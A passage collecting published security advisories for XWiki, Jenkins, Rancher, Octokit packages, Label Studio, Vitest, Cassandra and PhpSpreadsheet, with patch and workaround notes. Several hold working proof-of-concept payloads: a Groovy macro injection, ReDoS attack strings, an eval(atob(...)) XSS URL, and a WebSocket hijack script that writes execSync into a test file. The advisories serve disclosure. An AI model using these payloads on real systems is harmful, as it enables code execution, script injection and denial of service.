* Use the object editor to add an object of type `XWiki.TranslationDocumentClass` with scope `USER`.
* Access an unexisting page using the `MigrationTemplate`
```
http://localhost:8080/xwiki/bin/edit/Page123?template=ConfluenceMigratorPro.Code.MigrationTemplate
```
It is expected that `{{/html}} {{async async="true" cached="false" context="doc.reference"}}{{groovy}}println("hello from groovy!"){{/groovy}}{{/async}}` will be present on the page, however, `hello from groovy` will be printed.
### Patches
The issue will be fixed as part of v1.2. The fix was added with commit [35cef22](https://github.com/xwikisas/application-confluence-migrator-pro/commit/36cef2271bd429773698ca3a21e47b6d51d6377d)

### Workarounds
There are no known workarounds besides upgrading.

### References
No references.


Jenkins reveals encrypted values of secrets stored in agent configuration to users with Agent/Extended Read permission

[Severity: MEDIUM]

Jenkins 2.499 and earlier, LTS 2.492.1 and earlier does not redact encrypted values of secrets when accessing `config.xml` of agents via REST API or CLI.

This allows attackers with Agent/Extended Read permission to view encrypted values of secrets.

Jenkins 2.500, LTS 2.492.2 redacts the encrypted values of secrets stored in agent `config.xml` accessed via REST API or CLI for users lacking Agent/Configure permission.


Oxidized Web RANCID migration page allows unauthenticated user to gain control over Linux user account

[Severity: CRITICAL]

In oxidized-web (aka Oxidized Web) before 0.15.0, the RANCID migration page allows an unauthenticated user to gain control over the Linux user account that is running oxidized-web.


Rancher does not Properly Validate Account Bindings in SAML Authentication Enables User Impersonation on First Login

[Severity: HIGH]

### Impact
A vulnerability in Rancher has been discovered, leading to a local user impersonation through SAML Authentication on first login.

The issue occurs when a SAML authentication provider (AP) is configured (e.g. Keycloak). A newly created AP user can impersonate any user on Rancher by manipulating cookie values during their initial login to Rancher. This vulnerability could also be exploited if a Rancher user (present on the AP) is removed, either manually or automatically via the [User Retention feature](https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-user-retention) with delete-inactive-user-after.

More precisely, Rancher validates only a subset of input from the SAML assertion request; however, it trusts and uses values that are not properly validated. An attacker could then configure the saml_Rancher_UserID cookie and the saml_Rancher_Action cookie so that the user principal from the AP will be added to the user specified by the attacker (from saml_Rancher_UserID). Rancher can then be deceived by setting saml_Rancher_UserID to the admin's user ID and saml_Rancher_Action to testAndEnable, thereby executing the vulnerable code path and leading to privilege escalation.

Note that the vulnerability impacts all SAML APs available in Rancher. However the following Rancher deployments are not affected:
1. Rancher deployments not using SAML-based AP.
2. Rancher deployments using SAML-based AP, where all SAML users are already signed in and linked to a Rancher account.

Please consult the associated  [MITRE ATT&CK - Technique - Access Token Manipulation: Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001/) for further information about this category of attack.

### Patches
This vulnerability is addressed by adding the UserID claim to a JWT signed token, which is protected against tampering.

Patched versions include releases `v2.8.13`, `v2.9.7` and `v2.10.3`.

### Workarounds
Rancher deployments that can't upgrade, could temporarily disable the SAML-based AP as a temporary workaround. However, upgrading is recommended.

### References
If you have any questions or comments about this advisory:
- Reach out to the [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.
- Open an issue in the [Rancher](https://github.com/rancher/rancher/issues/new/choose) repository.
- Verify with our [support matrix](https://www.suse.com/suse-rancher/support-matrix/all-supported-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/).


DOM Expressions has a Cross-Site Scripting (XSS) vulnerability due to improper use of string.replace

[Severity: HIGH]

> [!NOTE]
> This advisory was originally emailed to community@solidjs.com by @nsysean.

To sum it up, the use of javascript's `.replace()` opens up to potential XSS vulnerabilities with the special replacement patterns beginning with `$`.

Particularly, when the attributes of `Meta` tag from solid-meta are user-defined, attackers can utilise the special replacement patterns, either `$'` or `$\`` to achieve XSS.

The solid-meta package has this issue since it uses `useAffect` and context providers, which injects the used assets in the html header. "dom-expressions" uses `.replace()` to insert the assets, which is vulnerable to the special replacement patterns listed above.

This effectively means that if the attributes of an asset tag contained user-controlled data, it would be vulnerable to XSS. For instance, there might be meta tags for the open graph protocol in a user profile page, but if attackers set the user query to some payload abusing `.replace()`, then they could execute arbitrary javascript in the victim's web browser. Moreover, it could be stored and cause more problems.


Duende.AccessTokenManagement race condition when concurrently retrieving customized Client Credentials Access Tokens

[Severity: MEDIUM]

### Summary
Duende.AccessTokenManagement contains a race condition when requesting access tokens using the client credentials flow. Concurrent requests to obtain an access token using differing protocol parameters can return access tokens obtained with the wrong scope, resource indicator, or other protocol parameters. Such usage is somewhat atypical, and only a small percentage of users are likely to be affected.

### Details
Duende.AccessTokenManagement can request access tokens using the client credentials flow in several ways. In basic usage, the client credentials flow is configured once and the parameters do not vary. In more advanced situations, requests with varying protocol parameters may be made by calling specific overloads of these methods:

- `HttpContext.GetClientAccessTokenAsync()`
- `IClientCredentialsTokenManagementService.GetAccessTokenAsync()`

There are overloads of both of these methods that accept a `TokenRequestParameters` object that customizes token request parameters. However, concurrent requests with varying `TokenRequestParameters` will result in the same token for all concurrent calls.

### Upgrading
Most users can simply update the NuGet package to the latest version. Customizations of the `IClientCredentialsTokenCache` that derive from the default implementation (`DistributedClientCredentialsTokenCache`) will require a small code change, as its constructor was changed to add a dependency on the `ITokenRequestSynchronization` service. The synchronization service will need to be injected into the derived class and passed to the base constructor.

### Impact
The impact of this vulnerability depends on how Duende.AccessTokenManagement is used and on the security architecture of the solution. Most users will not be vulnerable to this issue. More advanced users may run into this issue by calling the methods specified above with customized token request parameters. The impact of obtaining an access token with different than intended protocol parameters will vary depending on application logic, security architecture, and the authorization policy of the resource servers.

Thank you to **Michael Dimoudis** of **PageUp** for finding this issue and responsibly disclosing it!


@octokit/request has a Regular Expression in fetchWrapper that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

[Severity: MEDIUM]

### Summary
The regular expression `/<([^>]+)>; rel="deprecation"/` used to match the `link` header in HTTP responses is vulnerable to a ReDoS (Regular Expression Denial of Service) attack. This vulnerability arises due to the unbounded nature of the regex's matching behavior, which can lead to catastrophic backtracking when processing specially crafted input. An attacker could exploit this flaw by sending a malicious `link` header, resulting in excessive CPU usage and potentially causing the server to become unresponsive, impacting service availability.
### Details
The vulnerability resides in the regular expression `/<([^>]+)>; rel="deprecation"/`, which is used to match the `link` header in HTTP responses. This regular expression captures content between angle brackets (`<>`) followed by `; rel="deprecation"`. However, the pattern is vulnerable to ReDoS (Regular Expression Denial of Service) attacks due to its susceptibility to catastrophic backtracking when processing malicious input.
An attacker can exploit this vulnerability by sending a specially crafted `link` header designed to trigger excessive backtracking. For example, the following headers:
```js
fakeHeaders.set("link", "<".repeat(100000) + ">");
fakeHeaders.set("deprecation", "true");
```
The crafted `link` header consists of 100,000 consecutive `<` characters followed by a closing `>`. This input forces the regular expression engine to backtrack extensively in an attempt to match the pattern. As a result, the server can experience a significant increase in CPU usage, which may lead to denial of service, making the server unresponsive or even causing it to crash under load.
The issue is present in the following code:
```js
const matches = responseHeaders.link && responseHeaders.link.match(/<([^>]+)>; rel="deprecation"/);
```
In this scenario, the `link` header value triggers the regex to perform excessive backtracking, resulting in resource exhaustion and potentially causing the service to become unavailable.

### PoC
[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/2afdabf0fc4cb6cfbd3b1d58b6082f6a)
1. run npm i @octokit/request
2. run 'node poc.js'
result:
3. then the program will stuck forever with high CPU usage
```js
import { request } from "@octokit/request";
const originalFetch = globalThis.fetch;
globalThis.fetch = async (url, options) => {
  const response = await originalFetch(url, options);
  const fakeHeaders = new Headers(response.headers);
  fakeHeaders.set("link", "<".repeat(100000) + ">");
  fakeHeaders.set("deprecation", "true");
  return new Response(response.body, {
    status: response.status,
    statusText: response.statusText,
    headers: fakeHeaders
  });
};
request("GET /repos/octocat/hello-world")
  .then(response => {
    // console.log("[+] Response received:", response);
  })
  .catch(error => {
    // console.error("[-] Error:", error);
  });
// globalThis.fetch = originalFetch;
```
### Impact
This is a *Denial of Service (DoS) vulnerability* caused by a *ReDoS (Regular Expression Denial of Service)* flaw. The vulnerability allows an attacker to craft a malicious `link` header that exploits the inefficient backtracking behavior of the regular expression used in the code.
The primary impact is the potential for *server resource exhaustion*, specifically high CPU usage, which can cause the server to become unresponsive or even crash when processing the malicious request. This affects the availability of the service, leading to downtime or degraded performance.
The vulnerability impacts any system that uses this specific regular expression to process `link` headers in HTTP responses. This can include:
* Web applications or APIs that rely on parsing headers for deprecation information.
* Users interacting with the affected service, as they may experience delays or outages if the server becomes overwhelmed.
* Service providers who may face disruption in operations or performance degradation due to this flaw.
If left unpatched, the vulnerability can be exploited by any unauthenticated user who is able to send a specially crafted HTTP request with a malicious `link` header, making it a low-barrier attack that could be exploited by anyone.


@octokit/request-error has a Regular Expression in index that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

[Severity: MEDIUM]

### Summary
A Regular Expression Denial of Service (ReDoS) vulnerability exists in the processing of HTTP request headers. By sending an authorization header containing an excessively long sequence of spaces followed by a newline and "@", an attacker can exploit inefficient regular expression processing, leading to excessive resource consumption. This can significantly degrade server performance or cause a denial-of-service (DoS) condition, impacting availability.
### Details
The issue occurs at [line 52](https://github.com/octokit/request-error.js/blob/main/src/index.ts) of iterator.ts in the @octokit/request-error repository.
The vulnerability is caused by the use of an inefficient regular expression in the handling of the `authorization` header within the request processing logic:
```js
authorization: options.request.headers.authorization.replace(
  / .*$/,
  " [REDACTED]"
)
```
The regular expression `/ .*$/` matches a space followed by any number of characters until the end of the line. This pattern is vulnerable to Regular Expression Denial of Service (ReDoS) when processing specially crafted input. Specifically, an attacker can send an `authorization` header containing a long sequence of spaces followed by a newline and "@", such as:
```js
headers: {
  authorization: "" + " ".repeat(100000) + "\n@",
}
```
Due to the way JavaScript's regular expression engine backtracks while attempting to match the space followed by arbitrary characters, this input can cause excessive CPU usage, significantly slowing down or even freezing the server. This leads to a denial-of-service condition, impacting availability.
### PoC
[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/e1203ad22701fd043b8501eb37676a0d)
1. run npm i @octokit/request-error
2. run 'node poc.js'
result:
3. then the program will stuck forever with high CPU usage
```js
import { RequestError } from "@octokit/request-error";

const error = new RequestError("Oops", 500, {
  request: {
    method: "POST",
    url: "https://api.github.com/foo",
    body: {
      bar: "baz",
    },
    headers: {
      authorization: ""+" ".repeat(100000)+"\n@",
    },
  },
  response: {
    status: 500,
    url: "https://api.github.com/foo",
    headers: {
      "x-github-request-id": "1:2:3:4",
    },
    data: {
      foo: "bar",
    },
  },
});
```

### Impact
#### Vulnerability Type & Impact:
This is a `Regular Expression Denial of Service (ReDoS) vulnerability`, which occurs due to an inefficient regular expression (`/ .*$/`) used to sanitize the `authorization` header. An attacker can craft a malicious input that triggers excessive backtracking in the regex engine, leading to high CPU consumption and potential denial-of-service (DoS).
#### Who is Impacted?
* Projects or services using this code to process HTTP headers are vulnerable.
* Applications that rely on user-supplied `authorization` headers are at risk, especially those processing a large volume of authentication requests.
* Multi-tenant or API-driven platforms could experience degraded performance or service outages if exploited at scale.


@octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

[Severity: MEDIUM]

### Summary
For the npm package `@octokit/plugin-paginate-rest`, when calling `octokit.paginate.iterator()`, a specially crafted `octokit` instance—particularly with a malicious `link` parameter in the `headers` section of the `request`—can trigger a ReDoS attack.

### Details
The issue occurs at [line 39](https://github.com/octokit/plugin-paginate-rest.js/blob/main/src/iterator.ts) of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:
```js
url = ((normalizedResponse.headers.link || "").match(
  /<([^>]+)>;\s*rel="next"/,
) || [])[1];
```
The regular expression `/<([^>]+)>;\s*rel="next"/` may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted `Link` headers.

### PoC
[The gist of PoC.js](https://gist.github.com/ShiyuBanzhou/d3f2ad000be8384d2105c87c2ed7ce7d)
1. run npm i @octokit/plugin-paginate-rest
2. run 'node poc.js'
result:
3. then the program will stuck forever with high CPU usage
```js
import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";

const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
  auth: "your-github-token",
});

// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
  const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
  return {
    data: [],
    headers: {
      link: maliciousLinkHeader, // Inject malicious 'link' header
    },
  };
});

// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
  try {
    for await (const normalizedResponse of octokit.paginate.iterator(
      "GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
    )) {
      console.log({ normalizedResponse });
    }
  } catch (error) {
    console.error("Error encountered:", error);
  }
})();
```
![image](https://github.com/user-attachments/assets/619c030e-5473-4a26-9e2a-4b9a26c1563b)

### Impact
#### What kind of vulnerability is it?
This is a *Regular Expression Denial of Service (ReDoS) vulnerability*, which occurs due to excessive backtracking in the regex pattern:
```js
/<([^>]+)>;\s*rel="next"/
```
When processing a specially crafted `Link` header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.
#### Who is impacted?
* Users of `@octokit/plugin-paginate-rest` who call `octokit.paginate.iterator()` and process untrusted or manipulated `Link` headers.
* Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
* GitHub API consumers who integrate this package into their projects for paginated data retrieval.


@octokit/endpoint has a Regular Expression in parse that Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

[Severity: MEDIUM]

### Summary
By crafting specific `options` parameters, the `endpoint.parse(options)` call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization.

### Details
The issue occurs in the `parse` function within the `parse.ts` file of the npm package `@octokit/endpoint`. The specific code is located at the following link: https://github.com/octokit/endpoint.js/blob/main/src/parse.ts, at line 62:
```ts
headers.accept.match(/[\w-]+(?=-preview)/g) || ([] as string[]);
```
The regular expression `/[\w-]+(?=-preview)/g` encounters a backtracking issue when it processes `a large number of characters` followed by the `-` symbol.
e.g., the attack string:
```js
"" + "A".repeat(100000) + "-"
```

### PoC
[The gist](https://gist.github.com/ShiyuBanzhou/a17202ac1ad403a80ca302466d5e56c4)
Here is the reproduction process for the vulnerability:
1. run `npm i @octokit/endpoint`
2. Move `poc.js` to the root directory of the same level as `README.md`
3. run `node poc.js`
result:
4. then the program will be stuck forever with high CPU usage
```js
import { endpoint } from "@octokit/endpoint";
// import { parse } from "./node_modules/@octokit/endpoint/dist-src/parse.js";
const options = {
  method: "POST",
  url: "/graphql", // Ensure that the URL ends with "/graphql"
  headers: {
    accept: "" + "A".repeat(100000) + "-", // Pass in the attack string
    "content-type": "text/plain",
  },
  mediaType: {
    previews: ["test-preview"], // Ensure that mediaType.previews exists and has values
    format: "raw", // Optional media format
  },
  baseUrl: "https://api.github.com",
};

const startTime = performance.now();
endpoint.parse(options);
const endTime = performance.now();
const duration = endTime - startTime;
console.log(`Endpoint execution time: ${duration} ms`);
```
1. **Import the `endpoint` module**: First, import the `endpoint` module from the npm package `@octokit/endpoint`, which is used for handling GitHub API requests.

2. **Construct the `options` object that triggers a ReDoS attack**: The following member variables are critical in constructing the `options` object:
- `url`: Set to `"/graphql"`, ensuring the URL ends with `/graphql` to match the format for GitHub's GraphQL API.
- `headers`:
> `accept`: A long attack string is crafted with `"A".repeat(100000) + "-"`, which will be passed to the regular expression and cause a backtracking attack (ReDoS).
>
- `mediaType`:
>`previews`: Set to `["test-preview"]`, ensuring `mediaType.previews` exists and has values.
>
>`format`: Set to `"raw"`, indicating raw data format.

3. **Call the `endpoint.parse(options)` function and record the time**: Call the `endpoint.parse(options)` function and use `performance.now()` to record the start and end times, measuring the execution duration.

4. **Calculate the time difference and output it**: Compute the difference between the start and end times and output it using `console.log`. When the attack string length reaches 100000, the response time typically exceeds 10000 milliseconds, satisfying the characteristic condition for a ReDoS attack, where response times dramatically increase.
<img width="800" alt="2" src="https://github.com/user-attachments/assets/9fc865a4-e150-42d5-bcd5-93ab6b0c29ef" />

### Impact
#### What kind of vulnerability is it?
This is a **Regular Expression Denial of Service (ReDoS)** vulnerability. It arises from inefficient regular expressions that can cause excessive backtracking when processing certain inputs. Specifically, the regular expression `/[\w-]+(?=-preview)/g` is vulnerable because it attempts to match long strings of characters followed by a hyphen (`-`), which leads to inefficient backtracking when provided with specially crafted attack strings. This backtracking results in high CPU utilization, causing the application to become unresponsive and denying service to legitimate users.
#### Who is impacted?
This vulnerability impacts any application that uses the affected regular expression in conjunction with user-controlled inputs, particularly where large or maliciously crafted strings can trigger excessive backtracking.
In addition to directly affecting applications using the `@octokit/endpoint` package, the impact is more widespread because `@octokit/endpoint` is a library used to wrap REST APIs, including GitHub's API. This means that any system or service built on top of this library that interacts with GitHub or other REST APIs could be vulnerable. Given the extensive use of this package in API communication, the potential for exploitation is broad and serious. The vulnerability could affect a wide range of applications, from small integrations to large enterprise-level systems, especially those relying on the package to handle API requests.
Attackers can exploit this vulnerability to cause performance degradation, downtime, and service disruption, making it a critical issue for anyone using the affected version of `@octokit/endpoint`.

### Solution
To resolve the ReDoS vulnerability, the regular expression should be updated to avoid excessive backtracking. By modifying the regular expression to `(?<![\w-])[\w-]+(?=-preview)`, we prevent the issue.
Here is how this change solves the problem:

1. **Old Regular Expression**: `/[\w-]+(?=-preview)/g`
- This regular expression matches any sequence of word characters (`\w`) and hyphens (`-`) followed by `-preview`.
- The issue arises when the regex engine encounters a long string of characters followed by a `-`, causing excessive backtracking and high CPU usage.
2. **New Regular Expression**: `(?<![\w-])[\w-]+(?=-preview)`
- This updated regular expression uses a negative lookbehind `(?<![\w-])`, ensuring that the matched string is not preceded by any word characters or hyphens (`\w` or `-`).
- The


`gh attestation verify` returns incorrect exit code during verification if no attestations are present

[Severity: MEDIUM]

### Summary

A bug in GitHub's Artifact Attestation CLI tool, `gh attestation verify`, may return an incorrect zero exit status when no matching attestations are found for the specified `--predicate-type <value>` or the default `https://slsa.dev/provenance/v1` if not specified. This issue only arises if an artifact has an attestation with a predicate type different from the one provided in the command. As a result, users relying solely on these exit codes may mistakenly believe the attestation has been verified, despite the absence of an attestation with the specified predicate type and the tool printing a verification failure.

Users are advised to update `gh` to version `v2.67.0` as soon as possible.

Initial report: https://github.com/cli/cli/issues/10418
Fix: https://github.com/cli/cli/pull/10421

### Details

The gh attestation verify command fetches, loads, and attempts to verify attestations associated with a given artifact for a specified predicate type. If an attestation is found, but the predicate type does not match the one specified in the `gh attestation verify` command, the verification fails, but the program exits early.

Due to a re-used uninitialized error variable, when no matching attestations are found, the relevant function returns `nil` instead of an error, causing the program to exit with a status code of `0`, which incorrectly suggests successful verification.

### PoC

Run `gh attestation verify` with local attestations using the `--bundle` flag and specify a predicate type with `--predicate-type` that you know will not match any of the attestations the command will attempt to verify. Confirm that the command exits with a zero status code.

### Impact

Users who rely exclusively on the exit status code of `gh attestation verify` may incorrectly verify an attestation when the attestation's predicate type does not match the specified predicate type in the command.


Label Studio allows Cross-Site Scripting (XSS) via GET request to `/projects/upload-example` endpoint

[Severity: MEDIUM]

## Description
Label Studio's `/projects/upload-example` endpoint allows injection of arbitrary HTML through a `GET` request with an appropriately crafted `label_config` query parameter. By crafting a specially formatted XML label config with inline task data containing malicious HTML/JavaScript, an attacker can achieve Cross-Site Scripting (XSS). While the application has a Content Security Policy (CSP), it is only set in report-only mode, making it ineffective at preventing script execution.

The vulnerability exists because the upload-example endpoint renders user-provided HTML content without proper sanitization on a GET request. This allows attackers to inject and execute arbitrary JavaScript in victims' browsers by getting them to visit a maliciously crafted URL.

This is considered vulnerable because it enables attackers to execute JavaScript in victims' contexts, potentially allowing theft of sensitive data, session hijacking, or other malicious actions.

## Steps to reproduce
1. Create a malicious label config that includes an XSS payload in embedded task data:

```xml
<View><!-- {"data": {"text": "<div><img src=x
onerror=eval(atob(`YWxlcnQoIlhTUyIp`))></div>"}} --><HyperText name="text"
value="$text"/></View>
```

2. URL encode the payload and access the following URL:

- http://app/projects/upload-example/?label_config=%3CView%3E%3C!--%20{%22data%22:%20{%22text%22:%20%22%3Cdiv%3E%3Cimg%20src=x%20onerror=eval(atob(`YWxlcnQoIlhTUyIp`))%3E%3C/div%3E%22}}%20--%3E%3CHyperText%20name=%22text%22%20value=%22$text%22/%3E%3C/View%3E

When executed, the payload causes the application to render an HTML page containing an img tag that fails to load, triggering the onerror event handler which executes base64-decoded JavaScript, demonstrating successful XSS execution in the victim's browser.

## Mitigations
- Enable the Content Security Policy in enforcement mode instead of report-only mode to actively block unauthorized script execution
- Deprecate the `GET` behavior at the `example-config` endpoint since it's not used

## Impact
The vulnerability requires no special privileges and can be exploited by getting a victim to visit a crafted URL. The impact is high as it allows arbitrary JavaScript execution in victims' browsers, potentially exposing sensitive data or enabling account takeover through session theft.


Ash Authentication has flawed token revocation checking logic in actions generated by `mix ash_authentication.install`

[Severity: MEDIUM]

### Impact

Applications which have been bootstrapped by the new igniter installer (since AshAuthentication v4.1.0) and who have used the magic link strategy, password resets, confirmation, or are manually revoking tokens are affected by revoked tokens being allowed to verify as valid. If you did not use the new installer, then you are absolutely not affected.

Additionally, unless you have implemented any kind of custom token revocation feature in your application (in which case even cursory testing would have uncovered this issue), then you will not be significantly affected.

The impact here for users is as follows:

  - For users using the magic link strategy, magic link tokens are reusable until they expire instead of being immediately revoked. By default magic link tokens are valid for 10 minutes.
  - For users of password resets in the password strategy, password reset tokens are reusable until they expire instead of being immediately revoked. By default password reset tokens are valid for 3 days.
  - For users of the confirmation add-on, confirmation tokens are reusable until they expire instead of being immediately revoked. By default password reset tokens are valid for 3 days.

### Patches

The flaw is patched in version 4.4.9. Additionally a compile time warning is shown to users with remediation instructions if they upgrade. 4.4.9 ships with an upgrader, so if you use `mix igniter.upgrade ash_authentication` the necessary patch will be applied for you. Otherwise you can run the upgrader manually as described in the error message

#### Example
```elixir
[warning] Warning while compiling Tunez.Accounts.Token:

The `:jti` and `:token` options to the `:revoked?` action must allow nil values and it must return a `:boolean`.

This was an error in our igniter installer previous to version 4.4.9, which allowed revoked tokens to be reused.

To fix this, run the following command in your shell:

    mix ash_authentication.upgrade 4.4.8 4.4.9

Or:

  - remove `allow_nil?: false` from these action arguments, and
  - ensure that the action returns `:boolean`.

  like so:

    action :revoked?, :boolean do
      description "Returns true if a revocation token is found for the provided token"
      argument :token, :string, sensitive?: true
      argument :jti, :string, sensitive?: true

      run AshAuthentication.TokenResource.IsRevoked
    end
```

### Workarounds

Delete the generated `:revoked?` generic action in your token resource This will cause it to use the one internal to AshAuthentication which has always been correct. Alternatively,  manually make the changes described above.

### References

See the `#ash_authentication` channel on the Ash Discord.


SslHandler doesn't correctly validate packets which can lead to native crash when using native SSLEngine

[Severity: HIGH]

### Impact
When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash.

### Workarounds
As workaround its possible to either disable the usage of the native SSLEngine or changing the code from:

```
SslContext context = ...;
SslHandler handler = context.newHandler(....);
```

to:

```
SslContext context = ...;
SSLEngine engine = context.newEngine(....);
SslHandler handler = new SslHandler(engine, ....);
```


Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

[Severity: CRITICAL]

### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

### Details
When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.

```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
```

### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.


Apache Cassandra: CassandraNetworkAuthorizer and CassandraCIDRAuthorizer can be bypassed allowing access to different network regions

[Severity: MEDIUM]

Incorrect Authorization vulnerability in Apache Cassandra allowing users to access a datacenter or IP/CIDR groups they should not be able to when using CassandraNetworkAuthorizer or CassandraCIDRAuthorizer.

Users with restricted data center access can update their own permissions via data control language (DCL) statements on affected versions.

This issue affects Apache Cassandra: from 4.0.0 through 4.0.15 and from 4.1.0 through 4.1.7 for CassandraNetworkAuthorizer, and from 5.0.0 through 5.0.2 for both CassandraNetworkAuthorizer and CassandraCIDRAuthorizer.

Operators using CassandraNetworkAuthorizer or CassandraCIDRAuthorizer on affected versions should review data access rules for potential breaches. Users are recommended to upgrade to versions 4.0.16, 4.1.8, 5.0.3, which fixes the issue.


PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters

[Severity: MEDIUM]

**Product:** PhpSpreadsheet
**Version:** 3.8.0
**CWE-ID:** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
**CVSS vector v.3.1:** 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
**CVSS vector v.4.0:** 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)
**Description:** an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link
**Impact:** executing arbitrary JavaScript code in the browser
**Vulnerable component:** class `PhpOffice\PhpSpreadsheet\Writer\Html`, method `generateRow`
**Exploitation conditions:** a user viewing a specially generated xml file
**Mitigation:** additional sanitization of special characters in a string
**Researcher: Igor Sak-Sakovskiy (Positive Technologies)**

# Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet.
The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.

*Listing 4. Source code on the server*

```
<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);

$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName);

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
print($writer->generateHTMLAll());
```
The contents of the xml file - `./doc/file.xml`

*Listing 5. The contents of the xml file*
```
<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
 xmlns:o="urn:schemas-microsoft-com:office:office"
 xmlns:x="urn:schemas-microsoft-com:office:excel"
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"
 xmlns:html="http://www.w3.org/TR/REC-html40">
 <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office">
  <Author>author</Author>
  <LastAuthor>author</LastAuthor>
  <Created>2015-06-05T18:19:34Z</Created>
  <LastSaved>2024-12-25T10:16:07Z</LastSaved>
  <Version>16.00</Version>
 </DocumentProperties>
 <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office">
  <AllowPNG/>
 </OfficeDocumentSettings>
